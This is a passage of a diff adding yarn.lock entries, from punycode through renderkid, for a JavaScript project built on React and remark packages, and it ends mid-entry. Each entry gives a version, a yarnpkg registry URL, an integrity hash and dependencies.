+ resolved "https://registry.yarnpkg.com/punycode/-/punycode-1.4.1.tgz#c0d5a63b2718800ad8e1eb0fa5269c84dd41845e"
+ integrity sha1-wNWmOycYgArY4esPpSachN1BhF4=
+
+punycode@^2.1.0, punycode@^2.1.1:
+ version "2.1.1"
+ resolved "https://registry.yarnpkg.com/punycode/-/punycode-2.1.1.tgz#b58b010ac40c22c5657616c8d2c2c02c7bf479ec"
+ integrity sha512-XRsRjdf+j5ml+y/6GKHPZbrF/8p2Yga0JPtdqTIY2Xe5ohJPD9saDJJLPvp9+NSBprVvevdXZybnj2cv8OEd0A==
+
+qs@6.7.0:
+ version "6.7.0"
+ resolved "https://registry.yarnpkg.com/qs/-/qs-6.7.0.tgz#41dc1a015e3d581f1621776be31afb2876a9b1bc"
+ integrity sha512-VCdBRNFTX1fyE7Nb6FYoURo/SPe62QCaAyzJvUjwRaIsc+NePBEniHlvxFmmX56+HZphIGtV0XeCirBtpDrTyQ==
+
+qs@^6.10.0:
+ version "6.10.1"
+ resolved "https://registry.yarnpkg.com/qs/-/qs-6.10.1.tgz#4931482fa8d647a5aab799c5271d2133b981fb6a"
+ integrity sha512-M528Hph6wsSVOBiYUnGf+K/7w0hNshs/duGsNXPUCLH5XAqjEtiPGwNONLV0tBH8NoGb0mvD5JubnUTrujKDTg==
+ dependencies:
+ side-channel "^1.0.4"
+
+qs@~6.5.2:
+ version "6.5.2"
+ resolved "https://registry.yarnpkg.com/qs/-/qs-6.5.2.tgz#cb3ae806e8740444584ef154ce8ee98d403f3e36"
+ integrity sha512-N5ZAX4/LxJmF+7wN74pUD6qAh9/wnvdQcjq9TZjevvXzSUo7bfmw91saqMjzGS2xq91/odN2dW/WOl7qQHNDGA==
+
+querystring-es3@^0.2.0:
+ version "0.2.1"
+ resolved "https://registry.yarnpkg.com/querystring-es3/-/querystring-es3-0.2.1.tgz#9ec61f79049875707d69414596fd907a4d711e73"
+ integrity sha1-nsYfeQSYdXB9aUFFlv2Qek1xHnM=
+
+querystring@0.2.0:
+ version "0.2.0"
+ resolved "https://registry.yarnpkg.com/querystring/-/querystring-0.2.0.tgz#b209849203bb25df820da756e747005878521620"
+ integrity sha1-sgmEkgO7Jd+CDadW50cAWHhSFiA=
+
+querystring@^0.2.0:
+ version "0.2.1"
+ resolved "https://registry.yarnpkg.com/querystring/-/querystring-0.2.1.tgz#40d77615bb09d16902a85c3e38aa8b5ed761c2dd"
+ integrity sha512-wkvS7mL/JMugcup3/rMitHmd9ecIGd2lhFhK9N3UUQ450h66d1r3Y9nvXzQAW1Lq+wyx61k/1pfKS5KuKiyEbg==
+
+queue-microtask@^1.2.2:
+ version "1.2.3"
+ resolved "https://registry.yarnpkg.com/queue-microtask/-/queue-microtask-1.2.3.tgz#4929228bbc724dfac43e0efb058caf7b6cfb6243"
+ integrity sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==
+
+ramda@^0.21.0:
+ version "0.21.0"
+ resolved "https://registry.yarnpkg.com/ramda/-/ramda-0.21.0.tgz#a001abedb3ff61077d4ff1d577d44de77e8d0a35"
+ integrity sha1-oAGr7bP/YQd9T/HVd9RN536NCjU=
+
+randombytes@^2.0.0, randombytes@^2.0.1, randombytes@^2.0.5, randombytes@^2.1.0:
+ version "2.1.0"
+ resolved "https://registry.yarnpkg.com/randombytes/-/randombytes-2.1.0.tgz#df6f84372f0270dc65cdf6291349ab7a473d4f2a"
+ integrity sha512-vYl3iOX+4CKUWuxGi9Ukhie6fsqXqS9FE2Zaic4tNFD2N2QQaXOMFbuKK4QmDHC0JO6B1Zp41J0LpT0oR68amQ==
+ dependencies:
+ safe-buffer "^5.1.0"
+
+randomfill@^1.0.3:
+ version "1.0.4"
+ resolved "https://registry.yarnpkg.com/randomfill/-/randomfill-1.0.4.tgz#c92196fc86ab42be983f1bf31778224931d61458"
+ integrity sha512-87lcbR8+MhcWcUiQ+9e+Rwx8MyR2P7qnt15ynUlbm3TU/fjbgz4GsvfSUDTemtCCtVCqb4ZcEFlyPNTh9bBTLw==
+ dependencies:
+ randombytes "^2.0.5"
+ safe-buffer "^5.1.0"
+
+range-parser@^1.2.1, range-parser@~1.2.1:
+ version "1.2.1"
+ resolved "https://registry.yarnpkg.com/range-parser/-/range-parser-1.2.1.tgz#3cf37023d199e1c24d1a55b84800c2f3e6468031"
+ integrity sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg==
+
+raw-body@2.4.0:
+ version "2.4.0"
+ resolved "https://registry.yarnpkg.com/raw-body/-/raw-body-2.4.0.tgz#a1ce6fb9c9bc356ca52e89256ab59059e13d0332"
+ integrity sha512-4Oz8DUIwdvoa5qMJelxipzi/iJIi40O5cGV1wNYp5hvZP8ZN0T+jiNkL0QepXs+EsQ9XJ8ipEDoiH70ySUJP3Q==
+ dependencies:
+ bytes "3.1.0"
+ http-errors "1.7.2"
+ iconv-lite "0.4.24"
+ unpipe "1.0.0"
+
+raw-loader@^4.0.2:
+ version "4.0.2"
+ resolved "https://registry.yarnpkg.com/raw-loader/-/raw-loader-4.0.2.tgz#1aac6b7d1ad1501e66efdac1522c73e59a584eb6"
+ integrity sha512-ZnScIV3ag9A4wPX/ZayxL/jZH+euYb6FcUinPcgiQW0+UBtEv0O6Q3lGd3cqJ+GHH+rksEv3Pj99oxJ3u3VIKA==
+ dependencies:
+ loader-utils "^2.0.0"
+ schema-utils "^3.0.0"
+
+react-colorful@^5.0.1:
+ version "5.2.0"
+ resolved "https://registry.yarnpkg.com/react-colorful/-/react-colorful-5.2.0.tgz#1cd24ca7deff73a70cf34261813a4ed6c45129c2"
+ integrity sha512-SJXywyc9oew0rOp7xjmtStiJ5N4Mk2RYc/1OptlaEnbuCz9PvILmRotoHfowdmO142HASUSgKdngL4WOHo/TnQ==
+
+react-dev-utils@^11.0.3:
+ version "11.0.4"
+ resolved "https://registry.yarnpkg.com/react-dev-utils/-/react-dev-utils-11.0.4.tgz#a7ccb60257a1ca2e0efe7a83e38e6700d17aa37a"
+ integrity sha512-dx0LvIGHcOPtKbeiSUM4jqpBl3TcY7CDjZdfOIcKeznE7BWr9dg0iPG90G5yfVQ+p/rGNMXdbfStvzQZEVEi4A==
+ dependencies:
+ "@babel/code-frame" "7.10.4"
+ address "1.1.2"
+ browserslist "4.14.2"
+ chalk "2.4.2"
+ cross-spawn "7.0.3"
+ detect-port-alt "1.1.6"
+ escape-string-regexp "2.0.0"
+ filesize "6.1.0"
+ find-up "4.1.0"
+ fork-ts-checker-webpack-plugin "4.1.6"
+ global-modules "2.0.0"
+ globby "11.0.1"
+ gzip-size "5.1.1"
+ immer "8.0.1"
+ is-root "2.1.0"
+ loader-utils "2.0.0"
+ open "^7.0.2"
+ pkg-up "3.1.0"
+ prompts "2.4.0"
+ react-error-overlay "^6.0.9"
+ recursive-readdir "2.2.2"
+ shell-quote "1.7.2"
+ strip-ansi "6.0.0"
+ text-table "0.2.0"
+
+react-dom@16.14.0:
+ version "16.14.0"
+ resolved "https://registry.yarnpkg.com/react-dom/-/react-dom-16.14.0.tgz#7ad838ec29a777fb3c75c3a190f661cf92ab8b89"
+ integrity sha512-1gCeQXDLoIqMgqD3IO2Ah9bnf0w9kzhwN5q4FGnHZ67hBm9yePzB5JJAIQCc8x3pFnNlwFq4RidZggNAAkzWWw==
+ dependencies:
+ loose-envify "^1.1.0"
+ object-assign "^4.1.1"
+ prop-types "^15.6.2"
+ scheduler "^0.19.1"
+
+react-draggable@^4.4.3:
+ version "4.4.3"
+ resolved "https://registry.yarnpkg.com/react-draggable/-/react-draggable-4.4.3.tgz#0727f2cae5813e36b0e4962bf11b2f9ef2b406f3"
+ integrity sha512-jV4TE59MBuWm7gb6Ns3Q1mxX8Azffb7oTtDtBgFkxRvhDp38YAARmRplrj0+XGkhOJB5XziArX+4HUUABtyZ0w==
+ dependencies:
+ classnames "^2.2.5"
+ prop-types "^15.6.0"
+
+react-element-to-jsx-string@^14.3.2:
+ version "14.3.2"
+ resolved "https://registry.yarnpkg.com/react-element-to-jsx-string/-/react-element-to-jsx-string-14.3.2.tgz#c0000ed54d1f8b4371731b669613f2d4e0f63d5c"
+ integrity sha512-WZbvG72cjLXAxV7VOuSzuHEaI3RHj10DZu8EcKQpkKcAj7+qAkG5XUeSdX5FXrA0vPrlx0QsnAzZEBJwzV0e+w==
+ dependencies:
+ "@base2/pretty-print-object" "1.0.0"
+ is-plain-object "3.0.1"
+
+react-error-overlay@^6.0.9:
+ version "6.0.9"
+ resolved "https://registry.yarnpkg.com/react-error-overlay/-/react-error-overlay-6.0.9.tgz#3c743010c9359608c375ecd6bc76f35d93995b0a"
+ integrity sha512-nQTTcUu+ATDbrSD1BZHr5kgSD4oF8OFjxun8uAaL8RwPBacGBNPf/yAuVVdx17N8XNzRDMrZ9XcKZHCjPW+9ew==
+
+react-fast-compare@^3.0.1, react-fast-compare@^3.2.0:
+ version "3.2.0"
+ resolved "https://registry.yarnpkg.com/react-fast-compare/-/react-fast-compare-3.2.0.tgz#641a9da81b6a6320f270e89724fb45a0b39e43bb"
+ integrity sha512-rtGImPZ0YyLrscKI9xTpV8psd6I8VAtjKCzQDlzyDvqJA8XOW78TXYQwNRNd8g8JZnDu8q9Fu/1v4HPAVwVdHA==
+
+react-helmet-async@^1.0.7:
+ version "1.0.9"
+ resolved "https://registry.yarnpkg.com/react-helmet-async/-/react-helmet-async-1.0.9.tgz#5b9ed2059de6b4aab47f769532f9fbcbce16c5ca"
+ integrity sha512-N+iUlo9WR3/u9qGMmP4jiYfaD6pe9IvDTapZLFJz2D3xlTlCM1Bzy4Ab3g72Nbajo/0ZyW+W9hdz8Hbe4l97pQ==
+ dependencies:
+ "@babel/runtime" "^7.12.5"
+ invariant "^2.2.4"
+ prop-types "^15.7.2"
+ react-fast-compare "^3.2.0"
+ shallowequal "^1.1.0"
+
+react-inspector@^5.1.0:
+ version "5.1.1"
+ resolved "https://registry.yarnpkg.com/react-inspector/-/react-inspector-5.1.1.tgz#58476c78fde05d5055646ed8ec02030af42953c8"
+ integrity sha512-GURDaYzoLbW8pMGXwYPDBIv6nqei4kK7LPRZ9q9HCZF54wqXz/dnylBp/kfE9XmekBhHvLDdcYeyIwSrvtOiWg==
+ dependencies:
+ "@babel/runtime" "^7.0.0"
+ is-dom "^1.0.0"
+ prop-types "^15.0.0"
+
+react-is@^16.7.0, react-is@^16.8.1:
+ version "16.13.1"
+ resolved "https://registry.yarnpkg.com/react-is/-/react-is-16.13.1.tgz#789729a4dc36de2999dc156dd6c1d9c18cea56a4"
+ integrity sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ==
+
+react-is@^17.0.2:
+ version "17.0.2"
+ resolved "https://registry.yarnpkg.com/react-is/-/react-is-17.0.2.tgz#e691d4a8e9c789365655539ab372762b0efb54f0"
+ integrity sha512-w2GsyukL62IJnlaff/nRegPQR94C/XXamvMWmSHRJ4y7Ts/4ocGRmTHvOs8PSE6pB3dWOrD/nueuU5sduBsQ4w==
+
+react-lifecycles-compat@^3.0.4:
+ version "3.0.4"
+ resolved "https://registry.yarnpkg.com/react-lifecycles-compat/-/react-lifecycles-compat-3.0.4.tgz#4f1a273afdfc8f3488a8c516bfda78f872352362"
+ integrity sha512-fBASbA6LnOU9dOU2eW7aQ8xmYBSXUIWr+UmF9b1efZBazGNO+rcXT/icdKnYm2pTwcRylVUYwW7H1PHfLekVzA==
+
+react-popper-tooltip@^3.1.1:
+ version "3.1.1"
+ resolved "https://registry.yarnpkg.com/react-popper-tooltip/-/react-popper-tooltip-3.1.1.tgz#329569eb7b287008f04fcbddb6370452ad3f9eac"
+ integrity sha512-EnERAnnKRptQBJyaee5GJScWNUKQPDD2ywvzZyUjst/wj5U64C8/CnSYLNEmP2hG0IJ3ZhtDxE8oDN+KOyavXQ==
+ dependencies:
+ "@babel/runtime" "^7.12.5"
+ "@popperjs/core" "^2.5.4"
+ react-popper "^2.2.4"
+
+react-popper@^2.2.4:
+ version "2.2.5"
+ resolved "https://registry.yarnpkg.com/react-popper/-/react-popper-2.2.5.tgz#1214ef3cec86330a171671a4fbcbeeb65ee58e96"
+ integrity sha512-kxGkS80eQGtLl18+uig1UIf9MKixFSyPxglsgLBxlYnyDf65BiY9B3nZSc6C9XUNDgStROB0fMQlTEz1KxGddw==
+ dependencies:
+ react-fast-compare "^3.0.1"
+ warning "^4.0.2"
+
+react-sizeme@^3.0.1:
+ version "3.0.1"
+ resolved "https://registry.yarnpkg.com/react-sizeme/-/react-sizeme-3.0.1.tgz#4d12f4244e0e6a0fb97253e7af0314dc7c83a5a0"
+ integrity sha512-9Hf1NLgSbny1bha77l9HwvwwxQUJxFUqi44Ih+y3evA+PezBpGdCGlnvye6avss2cIgs9PgdYgMnfuzJWn/RUw==
+ dependencies:
+ element-resize-detector "^1.2.2"
+ invariant "^2.2.4"
+ shallowequal "^1.1.0"
+ throttle-debounce "^3.0.1"
+
+react-syntax-highlighter@^13.5.3:
+ version "13.5.3"
+ resolved "https://registry.yarnpkg.com/react-syntax-highlighter/-/react-syntax-highlighter-13.5.3.tgz#9712850f883a3e19eb858cf93fad7bb357eea9c6"
+ integrity sha512-crPaF+QGPeHNIblxxCdf2Lg936NAHKhNhuMzRL3F9ct6aYXL3NcZtCL0Rms9+qVo6Y1EQLdXGypBNSbPL/r+qg==
+ dependencies:
+ "@babel/runtime" "^7.3.1"
+ highlight.js "^10.1.1"
+ lowlight "^1.14.0"
+ prismjs "^1.21.0"
+ refractor "^3.1.0"
+
+react-textarea-autosize@^8.3.0:
+ version "8.3.2"
+ resolved "https://registry.yarnpkg.com/react-textarea-autosize/-/react-textarea-autosize-8.3.2.tgz#4f9374d357b0a6f6469956726722549124a1b2db"
+ integrity sha512-JrMWVgQSaExQByP3ggI1eA8zF4mF0+ddVuX7acUeK2V7bmrpjVOY72vmLz2IXFJSAXoY3D80nEzrn0GWajWK3Q==
+ dependencies:
+ "@babel/runtime" "^7.10.2"
+ use-composed-ref "^1.0.0"
+ use-latest "^1.0.0"
+
+react@16.14.0:
+ version "16.14.0"
+ resolved "https://registry.yarnpkg.com/react/-/react-16.14.0.tgz#94d776ddd0aaa37da3eda8fc5b6b18a4c9a3114d"
+ integrity sha512-0X2CImDkJGApiAlcf0ODKIneSwBPhqJawOa5wCtKbu7ZECrmS26NvtSILynQ66cgkT/RJ4LidJOc3bUESwmU8g==
+ dependencies:
+ loose-envify "^1.1.0"
+ object-assign "^4.1.1"
+ prop-types "^15.6.2"
+
+read-pkg-up@^1.0.1:
+ version "1.0.1"
+ resolved "https://registry.yarnpkg.com/read-pkg-up/-/read-pkg-up-1.0.1.tgz#9d63c13276c065918d57f002a57f40a1b643fb02"
+ integrity sha1-nWPBMnbAZZGNV/ACpX9AobZD+wI=
+ dependencies:
+ find-up "^1.0.0"
+ read-pkg "^1.0.0"
+
+read-pkg-up@^7.0.1:
+ version "7.0.1"
+ resolved "https://registry.yarnpkg.com/read-pkg-up/-/read-pkg-up-7.0.1.tgz#f3a6135758459733ae2b95638056e1854e7ef507"
+ integrity sha512-zK0TB7Xd6JpCLmlLmufqykGE+/TlOePD6qKClNW7hHDKFh/J7/7gCWGR7joEQEW1bKq3a3yUZSObOoWLFQ4ohg==
+ dependencies:
+ find-up "^4.1.0"
+ read-pkg "^5.2.0"
+ type-fest "^0.8.1"
+
+read-pkg@^1.0.0:
+ version "1.1.0"
+ resolved "https://registry.yarnpkg.com/read-pkg/-/read-pkg-1.1.0.tgz#f5ffaa5ecd29cb31c0474bca7d756b6bb29e3f28"
+ integrity sha1-9f+qXs0pyzHAR0vKfXVra7KePyg=
+ dependencies:
+ load-json-file "^1.0.0"
+ normalize-package-data "^2.3.2"
+ path-type "^1.0.0"
+
+read-pkg@^5.2.0:
+ version "5.2.0"
+ resolved "https://registry.yarnpkg.com/read-pkg/-/read-pkg-5.2.0.tgz#7bf295438ca5a33e56cd30e053b34ee7250c93cc"
+ integrity sha512-Ug69mNOpfvKDAc2Q8DRpMjjzdtrnv9HcSMX+4VsZxD1aZ6ZzrIE7rlzXBtWTyhULSMKg076AW6WR5iZpD0JiOg==
+ dependencies:
+ "@types/normalize-package-data" "^2.4.0"
+ normalize-package-data "^2.5.0"
+ parse-json "^5.0.0"
+ type-fest "^0.6.0"
+
+"readable-stream@1 || 2", readable-stream@^2.0.0, readable-stream@^2.0.1, readable-stream@^2.0.2, readable-stream@^2.0.6, readable-stream@^2.1.5, readable-stream@^2.2.2, readable-stream@^2.3.3, readable-stream@^2.3.6, readable-stream@~2.3.6:
+ version "2.3.7"
+ resolved "https://registry.yarnpkg.com/readable-stream/-/readable-stream-2.3.7.tgz#1eca1cf711aef814c04f62252a36a62f6cb23b57"
+ integrity sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==
+ dependencies:
+ core-util-is "~1.0.0"
+ inherits "~2.0.3"
+ isarray "~1.0.0"
+ process-nextick-args "~2.0.0"
+ safe-buffer "~5.1.1"
+ string_decoder "~1.1.1"
+ util-deprecate "~1.0.1"
+
+readable-stream@^3.1.1, readable-stream@^3.6.0:
+ version "3.6.0"
+ resolved "https://registry.yarnpkg.com/readable-stream/-/readable-stream-3.6.0.tgz#337bbda3adc0706bd3e024426a286d4b4b2c9198"
+ integrity sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==
+ dependencies:
+ inherits "^2.0.3"
+ string_decoder "^1.1.1"
+ util-deprecate "^1.0.1"
+
+readdirp@^2.2.1:
+ version "2.2.1"
+ resolved "https://registry.yarnpkg.com/readdirp/-/readdirp-2.2.1.tgz#0e87622a3325aa33e892285caf8b4e846529a525"
+ integrity sha512-1JU/8q+VgFZyxwrJ+SVIOsh+KywWGpds3NTqikiKpDMZWScmAYyKIgqkO+ARvNWJfXeXR1zxz7aHF4u4CyH6vQ==
+ dependencies:
+ graceful-fs "^4.1.11"
+ micromatch "^3.1.10"
+ readable-stream "^2.0.2"
+
+readdirp@~3.5.0:
+ version "3.5.0"
+ resolved "https://registry.yarnpkg.com/readdirp/-/readdirp-3.5.0.tgz#9ba74c019b15d365278d2e91bb8c48d7b4d42c9e"
+ integrity sha512-cMhu7c/8rdhkHXWsY+osBhfSy0JikwpHK/5+imo+LpeasTF8ouErHrlYkwT0++njiyuDvc7OFY5T3ukvZ8qmFQ==
+ dependencies:
+ picomatch "^2.2.1"
+
+recast@0.20.4:
+ version "0.20.4"
+ resolved "https://registry.yarnpkg.com/recast/-/recast-0.20.4.tgz#db55983eac70c46b3fff96c8e467d65ffb4a7abc"
+ integrity sha512-6qLIBGGRcwjrTZGIiBpJVC/NeuXpogXNyRQpqU1zWPUigCphvApoCs9KIwDYh1eDuJ6dAFlQoi/QUyE5KQ6RBQ==
+ dependencies:
+ ast-types "0.14.2"
+ esprima "~4.0.0"
+ source-map "~0.6.1"
+ tslib "^2.0.1"
+
+recast@^0.18.1:
+ version "0.18.10"
+ resolved "https://registry.yarnpkg.com/recast/-/recast-0.18.10.tgz#605ebbe621511eb89b6356a7e224bff66ed91478"
+ integrity sha512-XNvYvkfdAN9QewbrxeTOjgINkdY/odTgTS56ZNEWL9Ml0weT4T3sFtvnTuF+Gxyu46ANcRm1ntrF6F5LAJPAaQ==
+ dependencies:
+ ast-types "0.13.3"
+ esprima "~4.0.0"
+ private "^0.1.8"
+ source-map "~0.6.1"
+
+recursive-readdir@2.2.2:
+ version "2.2.2"
+ resolved "https://registry.yarnpkg.com/recursive-readdir/-/recursive-readdir-2.2.2.tgz#9946fb3274e1628de6e36b2f6714953b4845094f"
+ integrity sha512-nRCcW9Sj7NuZwa2XvH9co8NPeXUBhZP7CRKJtU+cS6PW9FpCIFoI5ib0NT1ZrbNuPoRy0ylyCaUL8Gih4LSyFg==
+ dependencies:
+ minimatch "3.0.4"
+
+redent@^1.0.0:
+ version "1.0.0"
+ resolved "https://registry.yarnpkg.com/redent/-/redent-1.0.0.tgz#cf916ab1fd5f1f16dfb20822dd6ec7f730c2afde"
+ integrity sha1-z5Fqsf1fHxbfsggi3W7H9zDCr94=
+ dependencies:
+ indent-string "^2.1.0"
+ strip-indent "^1.0.1"
+
+refractor@^3.1.0:
+ version "3.3.1"
+ resolved "https://registry.yarnpkg.com/refractor/-/refractor-3.3.1.tgz#ebbc04b427ea81dc25ad333f7f67a0b5f4f0be3a"
+ integrity sha512-vaN6R56kLMuBszHSWlwTpcZ8KTMG6aUCok4GrxYDT20UIOXxOc5o6oDc8tNTzSlH3m2sI+Eu9Jo2kVdDcUTWYw==
+ dependencies:
+ hastscript "^6.0.0"
+ parse-entities "^2.0.0"
+ prismjs "~1.23.0"
+
+regenerate-unicode-properties@^8.2.0:
+ version "8.2.0"
+ resolved "https://registry.yarnpkg.com/regenerate-unicode-properties/-/regenerate-unicode-properties-8.2.0.tgz#e5de7111d655e7ba60c057dbe9ff37c87e65cdec"
+ integrity sha512-F9DjY1vKLo/tPePDycuH3dn9H1OTPIkVD9Kz4LODu+F2C75mgjAJ7x/gwy6ZcSNRAAkhNlJSOHRe8k3p+K9WhA==
+ dependencies:
+ regenerate "^1.4.0"
+
+regenerate@^1.4.0:
+ version "1.4.2"
+ resolved "https://registry.yarnpkg.com/regenerate/-/regenerate-1.4.2.tgz#b9346d8827e8f5a32f7ba29637d398b69014848a"
+ integrity sha512-zrceR/XhGYU/d/opr2EKO7aRHUeiBI8qjtfHqADTwZd6Szfy16la6kqD0MIUs5z5hx6AaKa+PixpPrR289+I0A==
+
+regenerator-runtime@^0.13.4, regenerator-runtime@^0.13.7:
+ version "0.13.7"
+ resolved "https://registry.yarnpkg.com/regenerator-runtime/-/regenerator-runtime-0.13.7.tgz#cac2dacc8a1ea675feaabaeb8ae833898ae46f55"
+ integrity sha512-a54FxoJDIr27pgf7IgeQGxmqUNYrcV338lf/6gH456HZ/PhX+5BcwHXG9ajESmwe6WRO0tAzRUrRmNONWgkrew==
+
+regenerator-transform@^0.14.2:
+ version "0.14.5"
+ resolved "https://registry.yarnpkg.com/regenerator-transform/-/regenerator-transform-0.14.5.tgz#c98da154683671c9c4dcb16ece736517e1b7feb4"
+ integrity sha512-eOf6vka5IO151Jfsw2NO9WpGX58W6wWmefK3I1zEGr0lOD0u8rwPaNqQL1aRxUaxLeKO3ArNh3VYg1KbaD+FFw==
+ dependencies:
+ "@babel/runtime" "^7.8.4"
+
+regex-not@^1.0.0, regex-not@^1.0.2:
+ version "1.0.2"
+ resolved "https://registry.yarnpkg.com/regex-not/-/regex-not-1.0.2.tgz#1f4ece27e00b0b65e0247a6810e6a85d83a5752c"
+ integrity sha512-J6SDjUgDxQj5NusnOtdFxDwN/+HWykR8GELwctJ7mdqhcyy1xEc4SRFHUXvxTp661YaVKAjfRLZ9cCqS6tn32A==
+ dependencies:
+ extend-shallow "^3.0.2"
+ safe-regex "^1.1.0"
+
+regexp.prototype.flags@^1.3.1:
+ version "1.3.1"
+ resolved "https://registry.yarnpkg.com/regexp.prototype.flags/-/regexp.prototype.flags-1.3.1.tgz#7ef352ae8d159e758c0eadca6f8fcb4eef07be26"
+ integrity sha512-JiBdRBq91WlY7uRJ0ds7R+dU02i6LKi8r3BuQhNXn+kmeLN+EfHhfjqMRis1zJxnlu88hq/4dx0P2OP3APRTOA==
+ dependencies:
+ call-bind "^1.0.2"
+ define-properties "^1.1.3"
+
+regexpu-core@^4.7.1:
+ version "4.7.1"
+ resolved "https://registry.yarnpkg.com/regexpu-core/-/regexpu-core-4.7.1.tgz#2dea5a9a07233298fbf0db91fa9abc4c6e0f8ad6"
+ integrity sha512-ywH2VUraA44DZQuRKzARmw6S66mr48pQVva4LBeRhcOltJ6hExvWly5ZjFLYo67xbIxb6W1q4bAGtgfEl20zfQ==
+ dependencies:
+ regenerate "^1.4.0"
+ regenerate-unicode-properties "^8.2.0"
+ regjsgen "^0.5.1"
+ regjsparser "^0.6.4"
+ unicode-match-property-ecmascript "^1.0.4"
+ unicode-match-property-value-ecmascript "^1.2.0"
+
+regjsgen@^0.5.1:
+ version "0.5.2"
+ resolved "https://registry.yarnpkg.com/regjsgen/-/regjsgen-0.5.2.tgz#92ff295fb1deecbf6ecdab2543d207e91aa33733"
+ integrity sha512-OFFT3MfrH90xIW8OOSyUrk6QHD5E9JOTeGodiJeBS3J6IwlgzJMNE/1bZklWz5oTg+9dCMyEetclvCVXOPoN3A==
+
+regjsparser@^0.6.4:
+ version "0.6.9"
+ resolved "https://registry.yarnpkg.com/regjsparser/-/regjsparser-0.6.9.tgz#b489eef7c9a2ce43727627011429cf833a7183e6"
+ integrity sha512-ZqbNRz1SNjLAiYuwY0zoXW8Ne675IX5q+YHioAGbCw4X96Mjl2+dcX9B2ciaeyYjViDAfvIjFpQjJgLttTEERQ==
+ dependencies:
+ jsesc "~0.5.0"
+
+relateurl@^0.2.7:
+ version "0.2.7"
+ resolved "https://registry.yarnpkg.com/relateurl/-/relateurl-0.2.7.tgz#54dbf377e51440aca90a4cd274600d3ff2d888a9"
+ integrity sha1-VNvzd+UUQKypCkzSdGANP/LYiKk=
+
+remark-external-links@^8.0.0:
+ version "8.0.0"
+ resolved "https://registry.yarnpkg.com/remark-external-links/-/remark-external-links-8.0.0.tgz#308de69482958b5d1cd3692bc9b725ce0240f345"
+ integrity sha512-5vPSX0kHoSsqtdftSHhIYofVINC8qmp0nctkeU9YoJwV3YfiBRiI6cbFRJ0oI/1F9xS+bopXG0m2KS8VFscuKA==
+ dependencies:
+ extend "^3.0.0"
+ is-absolute-url "^3.0.0"
+ mdast-util-definitions "^4.0.0"
+ space-separated-tokens "^1.0.0"
+ unist-util-visit "^2.0.0"
+
+remark-footnotes@2.0.0:
+ version "2.0.0"
+ resolved "https://registry.yarnpkg.com/remark-footnotes/-/remark-footnotes-2.0.0.tgz#9001c4c2ffebba55695d2dd80ffb8b82f7e6303f"
+ integrity sha512-3Clt8ZMH75Ayjp9q4CorNeyjwIxHFcTkaektplKGl2A1jNGEUey8cKL0ZC5vJwfcD5GFGsNLImLG/NGzWIzoMQ==
+
+remark-mdx@1.6.22:
+ version "1.6.22"
+ resolved "https://registry.yarnpkg.com/remark-mdx/-/remark-mdx-1.6.22.tgz#06a8dab07dcfdd57f3373af7f86bd0e992108bbd"
+ integrity sha512-phMHBJgeV76uyFkH4rvzCftLfKCr2RZuF+/gmVcaKrpsihyzmhXjA0BEMDaPTXG5y8qZOKPVo83NAOX01LPnOQ==
+ dependencies:
+ "@babel/core" "7.12.9"
+ "@babel/helper-plugin-utils" "7.10.4"
+ "@babel/plugin-proposal-object-rest-spread" "7.12.1"
+ "@babel/plugin-syntax-jsx" "7.12.1"
+ "@mdx-js/util" "1.6.22"
+ is-alphabetical "1.0.4"
+ remark-parse "8.0.3"
+ unified "9.2.0"
+
+remark-parse@8.0.3:
+ version "8.0.3"
+ resolved "https://registry.yarnpkg.com/remark-parse/-/remark-parse-8.0.3.tgz#9c62aa3b35b79a486454c690472906075f40c7e1"
+ integrity sha512-E1K9+QLGgggHxCQtLt++uXltxEprmWzNfg+MxpfHsZlrddKzZ/hZyWHDbK3/Ap8HJQqYJRXP+jHczdL6q6i85Q==
+ dependencies:
+ ccount "^1.0.0"
+ collapse-white-space "^1.0.2"
+ is-alphabetical "^1.0.0"
+ is-decimal "^1.0.0"
+ is-whitespace-character "^1.0.0"
+ is-word-character "^1.0.0"
+ markdown-escapes "^1.0.0"
+ parse-entities "^2.0.0"
+ repeat-string "^1.5.4"
+ state-toggle "^1.0.0"
+ trim "0.0.1"
+ trim-trailing-lines "^1.0.0"
+ unherit "^1.0.4"
+ unist-util-remove-position "^2.0.0"
+ vfile-location "^3.0.0"
+ xtend "^4.0.1"
+
+remark-slug@^6.0.0:
+ version "6.0.0"
+ resolved "https://registry.yarnpkg.com/remark-slug/-/remark-slug-6.0.0.tgz#2b54a14a7b50407a5e462ac2f376022cce263e2c"
+ integrity sha512-ln67v5BrGKHpETnm6z6adlJPhESFJwfuZZ3jrmi+lKTzeZxh2tzFzUfDD4Pm2hRGOarHLuGToO86MNMZ/hA67Q==
+ dependencies:
+ github-slugger "^1.0.0"
+ mdast-util-to-string "^1.0.0"
+ unist-util-visit "^2.0.0"
+
+remark-squeeze-paragraphs@4.0.0:
+ version "4.0.0"
+ resolved "https://registry.yarnpkg.com/remark-squeeze-paragraphs/-/remark-squeeze-paragraphs-4.0.0.tgz#76eb0e085295131c84748c8e43810159c5653ead"
+ integrity sha512-8qRqmL9F4nuLPIgl92XUuxI3pFxize+F1H0e/W3llTk0UsjJaj01+RrirkMw7P21RKe4X6goQhYRSvNWX+70Rw==
+ dependencies:
+ mdast-squeeze-paragraphs "^4.0.0"
+
+remove-trailing-separator@^1.0.1:
+ version "1.1.0"
+ resolved "https://registry.yarnpkg.com/remove-trailing-separator/-/remove-trailing-separator-1.1.0.tgz#c24bce2a283adad5bc3f58e0d48249b92379d8ef"
+ integrity sha1-wkvOKig62tW8P1jg1IJJuSN52O8=
+
+renderkid@^2.0.4:
+ version "2.0.5"
+ resolved "https://registry.yarnpkg.com/renderkid/-/renderkid-2.0.5.tgz#483b1ac59c6601ab30a7a596a5965cabccfdd0a5"
